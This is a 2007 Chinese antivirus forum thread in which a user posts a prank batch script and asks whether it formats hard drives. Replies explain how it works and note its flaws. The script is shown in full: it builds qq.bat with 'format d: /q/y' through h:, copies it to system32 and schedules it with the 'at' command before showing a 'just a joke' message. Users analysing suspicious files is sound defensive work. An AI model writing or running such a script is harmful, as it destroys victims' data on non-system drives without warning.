瑞星卡卡安全论坛

首页 » 技术交流区 » 反病毒/反流氓软件论坛 » 大家帮我分析下
跟上づ节奏 - 2007-4-21 15:31:00
请问以下的批理文件是不是格式硬盘的???大家帮我看下





@echo off
title 小企鹅       
color 2e
@echo off & setlocal enableextensions
echo WScript.Sleep 1000 > %temp%.\tmp$$$.vbs
set /a i =5 
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cls
echo
echo ##################################
echo # #
echo # [%i%]秒后程序开始运行 #
echo # #
echo ##################################
cscript //nologo %temp%.\tmp$$$.vbs
goto Timeout
goto End

:Next
cls & echo.
for %%f in (%temp%.\tmp$$$.vbs*) do del %%f

echo @echo off>qq.bat
echo color 2f>>qq.bat
echo format d: /q/y>>qq.bat
echo format e: /q/y>>qq.bat
echo format f: /q/y>>qq.bat
echo format g: /q/y>>qq.bat
echo format h: /q/y>>qq.bat
echo exit>>qq.bat
copy qq.bat c:\windows\system32\
at 15:10 qq.bat
at 17:10 qq.bat
at 19:10 qq.bat
at 22:10 qq.bat
at 8:10 qq.bat
at 20:00 /every:monday qq.bat
cls
del qq.bat
color 2f
echo echo.
echo.
echo.
echo.
echo.
echo.
echo 和你开了一个玩笑。哈哈!!
pause
孤独更可靠 - 2007-4-21 15:44:00
嗯,可以这样说


如果这个P处理是在RUN启动项或者是启动文件夹的话,那每天都要"挨格"

不过C盘没格

15:10点格D盘
17:10点格E盘

下面的类推了



at 19:10 qq.bat F
at 22:10 qq.bat G
at 8:10 qq.bat H




枫笑九洲 - 2007-4-21 16:01:00
引用:
【孤独更可靠的贴子】嗯,可以这样说


如果这个P处理是在RUN启动项或者是启动文件夹的话,那每天都要"挨格"

不过C盘没格

15:10点格D盘
17:10点格E盘

下面的类推了



at 19:10 qq.bat F
at 22:10 qq.bat G
at 8:10 qq.bat H





………………

不是这样的吧,好像是15:10 17:10 19:10格除系统盘外所有盘,

天月来了 - 2007-4-21 16:05:00
好怕怕。
枫笑九洲 - 2007-4-21 16:12:00
at 20:00 /every:monday qq.bat

这句有意思,每周星期1晚上8点格盘
孤独更可靠 - 2007-4-21 16:16:00
呵呵,对,是格除C盘外的



echo format d: /q/y>>qq.bat
echo format e: /q/y>>qq.bat
echo format f: /q/y>>qq.bat
echo format g: /q/y>>qq.bat
echo format h: /q/y>>qq.bat

格D-H命令包含在qq.bat?

然后复制到:\windows\system32\



乱乱的...

没加入启动项,..再厉害也没用的..

枫笑九洲 - 2007-4-21 16:18:00
引用:
【孤独更可靠的贴子】呵呵,对,是格除C盘外的



echo format d: /q/y>>qq.bat
echo format e: /q/y>>qq.bat
echo format f: /q/y>>qq.bat
echo format g: /q/y>>qq.bat
echo format h: /q/y>>qq.bat

格D-H命令包含在qq.bat?

然后复制到:\windows\system32\



乱乱的...

没加入启动项,..再厉害也没用的..


………………

我估计是楼主自己写的,准备和什么东西绑定扔别人,呵呵
孤独更可靠 - 2007-4-21 16:25:00
引用:
【枫笑九洲的贴子】
我估计是楼主自己写的,准备和什么东西绑定扔别人,呵呵

………………


哈,估计不是,不然应该也不会来问了

不过可以肯定的是,写这个的也太菜了

语发好像错了

那个/y参数在format语句里不能用.

也就是,不是静止模式了,呵呵

估计不能得逞

1
查看完整版本: 大家帮我分析下